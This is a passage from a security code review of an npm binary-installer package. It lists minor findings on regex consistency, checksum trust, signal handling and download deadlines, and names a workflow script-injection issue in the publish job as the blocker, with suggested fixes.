• Installer semver regex (install.js:447) is laxer than the CI regex (npm-publish.yml:74) — it accepts +build. Harmless for traversal (no / allowed, version sits mid‑filename), but worth keeping in sync.
• checksums.txt is unsigned and co‑located with the archive — this is the standard goreleaser trust model (trust root = GitHub release integrity), but the install.js comment "verifies its checksum" slightly overstates the guarantee. Consider a wording tweak and/or cosign as a future follow‑up.
• run.js:33-34 SIGNUMS table is incomplete; the 128 + (SIGNUMS[res.signal] || 0) fallback returns 128 for unmapped signals (e.g. SIGPIPE/SIGUSR1). Prefer require("os").constants.signals[res.signal]. Cosmetic — the explicit re‑raise on :30 handles the common cases.
• No idle‑vs‑wall‑clock download deadline (slow‑trickle could stall npm install, capped by 200 MiB / allowlisted host); allowlist/parse rejections are retried 3× before failing fast. Minor robustness.

Summary

The installer and shim are solid. The blocker is the workflow script‑injection at npm-publish.yml:67 (#1) — a real sink in a token‑bearing publish job, with a trivial env:‑based fix. Please also consider the Environment gate (#2) and provenance/symlink hardening for this security‑sensitive package. Once #1 is fixed I'd be happy to re‑review.